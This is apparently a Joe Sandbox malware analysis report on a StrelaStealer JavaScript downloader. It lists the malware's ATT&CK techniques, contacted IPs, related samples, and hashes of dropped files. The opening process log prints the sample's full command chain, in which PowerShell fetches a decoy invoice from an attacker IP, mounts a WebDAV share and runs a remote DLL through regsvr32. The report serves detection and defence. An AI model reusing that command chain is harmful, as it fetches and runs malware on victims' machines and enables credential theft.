Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
14444181562539231561.js	16%	Virustotal		Browse
14444181562539231561.js	16%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/og9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2651165277.0000027D8EABE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/og9	net.exe, 00000007.00000002.1453447799.00000223C5168000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1434205610.00000223C51B9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1436192510.00000223C519B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453606028.00000223C51BB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453505741.00000223C519B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453447799.00000223C5168000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1435238112.0000027D94200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589085
Start date and time:	2025-01-11 09:20:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	14444181562539231561.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 162.159.61.3, 172.64.41.3, 184.28.88.176, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.107, 2.16.168.105, 23.200.0.33, 23.200.0.21, 13.107.246.45, 18.213.11.84, 172.202.163.200, 96.17.64.171
Excluded domains from analysis (whitelisted): chrome.cloudflare-dns.com, e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:21:29	API Interceptor	22x Sleep call for process: powershell.exe modified
03:21:33	API Interceptor	1x Sleep call for process: net.exe modified
03:21:33	API Interceptor	2x Sleep call for process: svchost.exe modified
03:21:41	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	106161149748268293.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	29090377787711675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	871073659923481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	904223203151262489.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44462735347649449.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10323218772870612560.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2634817597621928878.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932107294401323
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaP:cJhXC9lHmutpJyiRDeJ/aUKrDgnm9
MD5:	98C53956E9C278D688538969063403F2
SHA1:	BFE0FA070833541661D700C7E6767E781C287DB3
SHA-256:	CBB7B8600768C1F891268727B12CE4DF50BAF17045341DA5E978B80BDBFCCD0D
SHA-512:	AA9F797645FA24CFCA9CC7602BDE2944606ADE9643D543775B868930ED6D54E70463E556205357F24595B4439F228777627D43F8E38FB5971F26EAC055DD6519
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x748c8f17, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217368942273816
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:DazaNvFv8V2UW/DLzN/w4wZi
MD5:	C0B90602533860A3D2B0E49C0280D42F
SHA1:	321F7D80BB91BCC6A15A6CAF11242CA521CBCBEC
SHA-256:	00504BF2D7159EB3A94F556A9201FB589C87B18427B7EC0032041B88FB164F04
SHA-512:	2A2811FBA030BEA59DAFDF88EE41492208F6FF21321C53EE13F254D241670F550DB5378C53030B354588CD57283FBCAA510CAF191797F2E68705BB8C26C1EC91
Malicious:	false
Preview:	t...... ...............X\...;...{......................p.D..........{}.!....}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{.....................................!....}O.................~...!....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08173826892331315
Encrypted:	false
SSDEEP:	3:T8YezYuRQsBvT/fgsCrZClW/tidEO/Yll+SHY/Xl+/rQLve:T8zzDRjZLfgs3GQG7AS4M
MD5:	C9002D972CC103777D39988B7979DC82
SHA1:	1F0B4415321467F946D96A12963336BA4A07022C
SHA-256:	9FE2AB817C62885B21A2EE06A9A43DA2022F6FA9E2A396BB806F0781F326CA4F
SHA-512:	E1FCA3657C404BCD8392237D9520BD6C0DC97BA6E1F860E1C0C35F5BB45ADC9DFA792E48387D4AC05B346DECF3B2E9A4DB1362970BF75709AFD50E18CE570CBA
Malicious:	false
Preview:	.r.......................................;...{..!....}.......{}..............{}......{}.vv_Q.....{}.................~...!....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.142162794414583
Encrypted:	false
SSDEEP:	6:iOluouD+q2PqLTwi2nKuAl9OmbnIFUtHutmZmwpukJCVkwOqLTwi2nKuAl9Ombjd:7ruD+v8wZHAahFUtn/rEV5TwZHAaSJ
MD5:	C3A6B32E643A2E2CF0A63DFC128EE1F2
SHA1:	6DA837C3678A4CFA5581EECBAE43F2F08CC15664
SHA-256:	C5E057291BB16EE18B0202958EF1DE96B9F81536963E4AC9AB72235A07E5E5B2
SHA-512:	6A94BCBA6307051DD53CF983EDDE23C08BA7ABD3550EF85F130AA9EDDEA4882E4677E690D41596BBFE69C5AC7E14CB300BA1EA311CB2A101A2DCB510336CE4F0
Malicious:	false
Preview:	2025/01/11-03:21:33.524 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:21:33.527 1cbc Recovering log #3.2025/01/11-03:21:33.528 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.142162794414583
Encrypted:	false
SSDEEP:	6:iOluouD+q2PqLTwi2nKuAl9OmbnIFUtHutmZmwpukJCVkwOqLTwi2nKuAl9Ombjd:7ruD+v8wZHAahFUtn/rEV5TwZHAaSJ
MD5:	C3A6B32E643A2E2CF0A63DFC128EE1F2
SHA1:	6DA837C3678A4CFA5581EECBAE43F2F08CC15664
SHA-256:	C5E057291BB16EE18B0202958EF1DE96B9F81536963E4AC9AB72235A07E5E5B2
SHA-512:	6A94BCBA6307051DD53CF983EDDE23C08BA7ABD3550EF85F130AA9EDDEA4882E4677E690D41596BBFE69C5AC7E14CB300BA1EA311CB2A101A2DCB510336CE4F0
Malicious:	false
Preview:	2025/01/11-03:21:33.524 1cbc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:21:33.527 1cbc Recovering log #3.2025/01/11-03:21:33.528 1cbc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.168502141507432
Encrypted:	false
SSDEEP:	6:iOlufUojIq2PqLTwi2nKuAl9Ombzo2jMGIFUtHuFXZZmwpuFXzkwOqLTwi2nKuAv:7yXIv8wZHAa8uFUtsZ/ez5TwZHAa8RJ
MD5:	7C332A5DA0D6F2A7B44CF3FCAEBCCF1A
SHA1:	1F1CD1BD6BFF22754EB74E90423BA80993AFC86B
SHA-256:	0C52C429AF4218DBE1CD5410A0C10B25D55B7E62B5E5546891DECCA111666A54
SHA-512:	8201FD0617FF8647443A26C6DC483E8EB548A9CC8280EFF050FBB0B98D8189C15A414A27941715FD874E8ECFBE2497DBE49B1BEE14BDA9047F5A31F401AE9287
Malicious:	false
Preview:	2025/01/11-03:21:33.565 1ad4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:21:33.567 1ad4 Recovering log #3.2025/01/11-03:21:33.567 1ad4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.168502141507432
Encrypted:	false
SSDEEP:	6:iOlufUojIq2PqLTwi2nKuAl9Ombzo2jMGIFUtHuFXZZmwpuFXzkwOqLTwi2nKuAv:7yXIv8wZHAa8uFUtsZ/ez5TwZHAa8RJ
MD5:	7C332A5DA0D6F2A7B44CF3FCAEBCCF1A
SHA1:	1F1CD1BD6BFF22754EB74E90423BA80993AFC86B
SHA-256:	0C52C429AF4218DBE1CD5410A0C10B25D55B7E62B5E5546891DECCA111666A54
SHA-512:	8201FD0617FF8647443A26C6DC483E8EB548A9CC8280EFF050FBB0B98D8189C15A414A27941715FD874E8ECFBE2497DBE49B1BEE14BDA9047F5A31F401AE9287
Malicious:	false
Preview:	2025/01/11-03:21:33.565 1ad4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:21:33.567 1ad4 Recovering log #3.2025/01/11-03:21:33.567 1ad4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2a07b790-36a6-4abb-85e4-deb80dc33207.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969428475986494
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqk6dZ2sBdOg2HV8caq3QYiub5P7E4T3y:Y2sRdsKbdMHV/3QYhbt7nby
MD5:	547033998BDFFF2716393366F3E03E03
SHA1:	2442BD6288D7A01910AB91ED115A55301B870C40
SHA-256:	6D1F5251DEE33F95154F33247DB0CF397A19AC414CC038AE9D1BE6A7FAB81314
SHA-512:	0EF9AEC2BAFFE8343E0A6893E4459A6541A265D3DFD0EB12504755EF875C10FF3603554DF856FFF3A8F3C36E952E0BDCAE851EA4081128E607736A220F871EAB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143705219260","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123305},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969428475986494
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqk6dZ2sBdOg2HV8caq3QYiub5P7E4T3y:Y2sRdsKbdMHV/3QYhbt7nby
MD5:	547033998BDFFF2716393366F3E03E03
SHA1:	2442BD6288D7A01910AB91ED115A55301B870C40
SHA-256:	6D1F5251DEE33F95154F33247DB0CF397A19AC414CC038AE9D1BE6A7FAB81314
SHA-512:	0EF9AEC2BAFFE8343E0A6893E4459A6541A265D3DFD0EB12504755EF875C10FF3603554DF856FFF3A8F3C36E952E0BDCAE851EA4081128E607736A220F871EAB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381143705219260","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":123305},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.216867527494632
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzVlng2:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzVN
MD5:	652632C9932A9C4B1980856CE118BA93
SHA1:	4417C732F9AA435C59CB594D6EDB31E7F6D04714
SHA-256:	E1D283B7B18D3A16EBF4A7D74598869BC08127F1783C3F9D27076D700F34F1B4
SHA-512:	4DDCC567EB7E88F1BBD1B58937FE3BCC415EB568DEF6CFAD79407DACD056D43E5D8444C2B9EA1BE471D4425F53DF391B364E04FDBC75BBFA853CE80DD5DC6139
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.13070014478608
Encrypted:	false
SSDEEP:	6:iOlulFIq2PqLTwi2nKuAl9OmbzNMxIFUtHukFdXZmwpujFkwOqLTwi2nKuAl9Omk:7YOv8wZHAa8jFUtTJ/S5TwZHAa84J
MD5:	3D189514A2185F5FB7436DB50204D829
SHA1:	1B22CD0EF6FC4BF5C04C210E413A4CE345A82159
SHA-256:	810383B652430BE0351A70DB3D8D06E8827D5B15013FDC500097714830C13FD4
SHA-512:	02409FA9B20B5276ED5CAEF01A967B5298F8B94DFDA56F0C735BDE0396524E5129C47545164831D4DFA90486D97822B7CEEB969865EBDBDF99E01D22761D1D8F
Malicious:	false
Preview:	2025/01/11-03:21:34.012 1ad4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:21:34.039 1ad4 Recovering log #3.2025/01/11-03:21:34.054 1ad4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.13070014478608
Encrypted:	false
SSDEEP:	6:iOlulFIq2PqLTwi2nKuAl9OmbzNMxIFUtHukFdXZmwpujFkwOqLTwi2nKuAl9Omk:7YOv8wZHAa8jFUtTJ/S5TwZHAa84J
MD5:	3D189514A2185F5FB7436DB50204D829
SHA1:	1B22CD0EF6FC4BF5C04C210E413A4CE345A82159
SHA-256:	810383B652430BE0351A70DB3D8D06E8827D5B15013FDC500097714830C13FD4
SHA-512:	02409FA9B20B5276ED5CAEF01A967B5298F8B94DFDA56F0C735BDE0396524E5129C47545164831D4DFA90486D97822B7CEEB969865EBDBDF99E01D22761D1D8F
Malicious:	false
Preview:	2025/01/11-03:21:34.012 1ad4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:21:34.039 1ad4 Recovering log #3.2025/01/11-03:21:34.054 1ad4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.43837353731503
Encrypted:	false
SSDEEP:	384:ye+ci5GpiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pFurVgazUpUTTGt
MD5:	DF5B4080089F33B74E1CD4E68123A986
SHA1:	61A1CBA23F2BF58D98580ADFDFC9D48DF429610D
SHA-256:	6FBC11FE3AFA2B1F1BDC887DD7B1621AB96C5D48BC9ACA79F430C3569A6375A4
SHA-512:	300812C0DD3097247292D7EB1E2C563A0D61A2C2129DD0FFB21AFABF9285A5F7662CE4352FA9C5F06EE393459CB32423658BEF95CB798A0B554E8910BB7E9AD3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7692050494580394
Encrypted:	false
SSDEEP:	48:7MdJioyVwfioyd8oy1C7oy16oy1faKOioy1noy1AYoy1Wioy1oioykioyBoy1no/:72JuwfUBuSXjBilb9IVXEBodRBku
MD5:	6CAC0C9F32ABF7A780C4B828522227CF
SHA1:	01696DE21FC72446FF4B4764CB2680929BA12726
SHA-256:	04BF009D367B2ABC9EBA618466D1EA8FFC8C41BAAF807ABC756B7A34C35893D4
